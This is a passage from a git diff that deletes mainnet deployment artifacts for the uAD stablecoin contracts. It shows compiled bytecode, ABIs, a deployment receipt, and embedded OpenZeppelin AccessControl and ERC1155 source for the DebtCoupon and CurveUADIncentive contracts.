6565b60e05b6115ce565b60e15b905061407081860110156115e9576000945060009250611686565b6140e0818601101561162c5761407085101561160e57846140700383901c9250611623565b61407085111561162357614070850383901b92505b60009450611686565b61c0dd818601111561164657617fff945060009250611686565b607081111561165d576070810383901c9250611670565b6070811015611670578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610dc1565b6000617fff60f083901c16613fff8110156116dd576000915050610307565b6001607f1b608084901c106116f157600080fd5b6140fe81111561170057600080fd5b600160701b6001600160701b03608085901c161761406f82101561172a5761406f8290031c611440565b61406f8211156114405761406e1982011b9392505050565b6000617fff60f084811c8216919084901c8116908214156117905780617fff1415611786576001600160801b031985811690851614156114b5578492505050610dc1565b8492505050610dc1565b80617fff14156117a4578392505050610dc1565b6001607f1b608086901c90811015906001600160701b0316836117ca57600193506117d1565b600160701b175b6001607f1b608087901c90811015906001600160701b0316846117f757600194506117fe565b600160701b175b8261182e576001600160801b03198816600160ff1b1461181e5787611821565b60005b9650505050505050610dc1565b8061184e576001600160801b03198916600160ff1b1461181e5788611821565b84860384151583151514156119855760708113156118755789975050505050505050610dc1565b60008113156118875790811c906118b6565b606f198112156118a05788975050505050505050610dc1565b60008112156118b6578060000384901c93508596505b928101926e02000000000000000000000000000084106118dc576001968701969390931c925b86617fff141561192657846118f657617fff60f01b611918565b7fffff0000000000000000000000000000000000000000000000000000000000005b975050505050505050610dc1565b600160701b84101561193b5760009650611948565b6001600160701b03841693505b83607088901b8661195a576000611960565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b975050505050505050610dc1565b60008113156119a057600184901b93506001870396506119b7565b60008112156119b757600182901b91506001860396505b60708113156119c95760019150611a16565b60018113156119e6576001810360018303901c6001019150611a16565b606f198112156119f95760019350611a16565b600019811215611a16576001816000030360018503901c60010193505b818410611a27578184039350611a30565b83820393508294505b83611a46575060009650610dc195505050505050565b6000611a5185610d16565b90508060711415611a7757600185901c6001600160701b03169450600188019750611ac6565b6070811015611ab957607081900380891115611aa6578086901b6001600160701b031695508089039850611ab3565b600098600019019590951b945b50611ac6565b6001600160701b03851694505b87617fff1415611b115785611ae057617fff60f01b611b02565b7fffff0000000000000000000000000000000000000000000000000000000000005b98505050505050505050610dc1565b84607089901b87611b23576000611b29565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b98505050505050505050610dc1565b600060208284031215611b60578081fd5b813561144081611c67565b600060208284031215611b7c578081fd5b815161144081611c67565b60008060008060808587031215611b9c578283fd5b8435611ba781611c67565b93506020850135611bb781611c67565b92506040850135611bc781611c67565b9396929550929360600135925050565b60008060408385031215611be9578182fd5b8235611bf481611c67565b91506020830135611c0481611c7f565b809150509250929050565b600060208284031215611c20578081fd5b815161144081611c7f565b600060208284031215611c3c578081fd5b5051919050565b60008219821115611c6257634e487b7160e01b81526011600452602481fd5b500190565b6001600160a01b0381168114611c7c57600080fd5b50565b8015158114611c7c57600080fdfea164736f6c6343000803000a", - "devdoc": { - "author": "uAD Protocol", - "details": "incentives", - "kind": "dev", - "methods": { - "constructor": { - "params": { - "_manager": "uAD Manager" - } - }, - "setExemptAddress(address,bool)": { - "params": { - "account": "the address to update", - "isExempt": "a flag for whether to exempt or unexempt" - } - } - }, - "title": "Uniswap trading incentive contract", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "constructor": { - "notice": "CurveIncentive constructor" - }, - "isExemptAddress(address)": { - "notice": "returns true if account is marked as exempt" - }, - "setExemptAddress(address,bool)": { - "notice": "set an address to be exempted from Uniswap trading incentives" - }, - "switchBuyIncentive()": { - "notice": "switch the buy incentive" - }, - "switchSellPenalty()": { - "notice": "switch the sell penalty" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 5415, - "contract": "contracts/CurveUADIncentive.sol:CurveUADIncentive", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 5418, - "contract": "contracts/CurveUADIncentive.sol:CurveUADIncentive", - "label": "isSellPenaltyOn", - "offset": 20, - "slot": "0", - "type": "t_bool" - }, - { - "astId": 5421, - "contract": "contracts/CurveUADIncentive.sol:CurveUADIncentive", - "label": "isBuyIncentiveOn", - "offset": 21, - "slot": "0", - "type": "t_bool" - }, - { - "astId": 5434, - "contract": "contracts/CurveUADIncentive.sol:CurveUADIncentive", - "label": "_exempt", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_bool)" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/DebtCoupon.json b/packages/contracts/dollar/deployments/mainnet/DebtCoupon.json deleted file mode 100644 index b6a7f49af..000000000 --- a/packages/contracts/dollar/deployments/mainnet/DebtCoupon.json +++ /dev/null @@ -1,701 +0,0 @@ -{ - "address": "0xAd7cceAB6d1633B1760A38650Ad12632B2C7a831", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "couponHolder", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "expiryBlock", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "BurnedCoupons", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "expiryBlock", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "MintedCoupons", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "couponOwner", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "expiryBlockNumber", - "type": "uint256" - } - ], - "name": "burnCoupons", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "getTotalOutstandingDebt", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "expiryBlockNumber", - "type": "uint256" - } - ], - "name": "mintCoupons", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "updateTotalDebt", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0x0ced9930a855b86d09d4d0d77ec41a39e4818f3894b190aa396838f2ea6d51ac", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0xAd7cceAB6d1633B1760A38650Ad12632B2C7a831", - "transactionIndex": 88, - "gasUsed": "1912032", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xaf1fcd1ccbffdf8a4a69de1e47a3868666e36f0c2b6fcf64839952b46238894a", - "transactionHash": "0x0ced9930a855b86d09d4d0d77ec41a39e4818f3894b190aa396838f2ea6d51ac", - "logs": [], - "blockNumber": 12595280, - "cumulativeGasUsed": "6391717", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"couponHolder\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"expiryBlock\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"BurnedCoupons\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"expiryBlock\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"MintedCoupons\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"TransferBatch\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"TransferSingle\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"URI\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"accounts\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"}],\"name\":\"balanceOfBatch\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"couponOwner\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"expiryBlockNumber\",\"type\":\"uint256\"}],\"name\":\"burnCoupons\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTotalOutstandingDebt\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"expiryBlockNumber\",\"type\":\"uint256\"}],\"name\":\"mintCoupons\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeBatchTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"updateTotalDebt\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"uri\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Implements ERC1155 so receiving contracts must implement IERC1155Receiver\",\"kind\":\"dev\",\"methods\":{\"balanceOf(address,uint256)\":{\"details\":\"See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address.\"},\"balanceOfBatch(address[],uint256[])\":{\"details\":\"See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length.\"},\"burnCoupons(address,uint256,uint256)\":{\"params\":{\"amount\":\"amount of tokens to burn\",\"couponOwner\":\"the owner of those coupons\",\"expiryBlockNumber\":\"the expiration block number of the coupons to burn\"}},\"isApprovedForAll(address,address)\":{\"details\":\"See {IERC1155-isApprovedForAll}.\"},\"mintCoupons(address,uint256,uint256)\":{\"params\":{\"amount\":\"amount of tokens to mint\",\"expiryBlockNumber\":\"the expiration block number of the coupons to mint\"}},\"safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)\":{\"details\":\"See {IERC1155-safeBatchTransferFrom}.\"},\"safeTransferFrom(address,address,uint256,uint256,bytes)\":{\"details\":\"See {IERC1155-safeTransferFrom}.\"},\"setApprovalForAll(address,bool)\":{\"details\":\"See {IERC1155-setApprovalForAll}.\"},\"supportsInterface(bytes4)\":{\"details\":\"See {IERC165-supportsInterface}.\"},\"uri(uint256)\":{\"details\":\"See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\\\{id\\\\}` substring with the actual token type ID.\"}},\"title\":\"A coupon redeemable for dollars with an expiry block number\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"burnCoupons(address,uint256,uint256)\":{\"notice\":\"Burn an amount of coupons expiring at a certain block from a certain holder's balance\"},\"getTotalOutstandingDebt()\":{\"notice\":\"Returns outstanding debt by fetching current tally and removing any expired debt\"},\"mintCoupons(address,uint256,uint256)\":{\"notice\":\"Mint an amount of coupons expiring at a certain block for a certain recipient\"},\"updateTotalDebt()\":{\"notice\":\"Should be called prior to any state changing functions.\"}},\"notice\":\"An ERC1155 where the token ID is the expiry block number\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/DebtCoupon.sol\":\"DebtCoupon\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for 